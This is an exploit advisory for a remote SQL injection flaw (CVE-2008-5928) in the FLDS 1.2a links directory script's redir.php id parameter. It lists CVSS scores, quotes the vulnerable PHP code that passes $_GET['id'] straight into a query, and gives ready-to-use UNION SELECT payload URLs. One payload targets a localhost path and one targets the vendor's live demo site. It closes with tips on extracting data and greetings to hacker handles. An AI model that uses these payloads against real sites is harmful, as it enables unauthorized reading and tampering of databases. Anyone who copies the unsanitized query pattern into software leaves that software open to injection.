FLDS 1.2a (redir.php id) Remote SQL Injection Vulnerability

2009.01.23

Credit: nuclear

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-5928

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#Free Links Directory Script (id) SQL Injection Vulnerability

#Author: nuclear

#site:
http://flds-script.com

#vuln:
http://localhost/[path]/redir.php?id=-1%20UNION%20SELECT%201,2,@@version,4,5,6,7,8,9,10,11/*

#vulnerable code:
$ida = $_GET['id'];
$link = mysql_fetch_array(mysql_query("select * from links where id=$ida"));
$idcheck = mysql_numrows(mysql_query("select * from links where id=$ida"));

#demo:
http://flds-script.com/demo/redir.php?id=-1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11

#notes:
the injection does not work if trying to comment out the rest of the query.The result page will be a 404 but
you can get the data of the injection in the url

#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

References:

http://www.securityfocus.com/bid/32813

http://www.milw0rm.com/exploits/7453

http://secunia.com/advisories/33075

See this note in RAW Version

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FLDS 1.2a (redir.php id) Remote SQL Injection Vulnerability

References:

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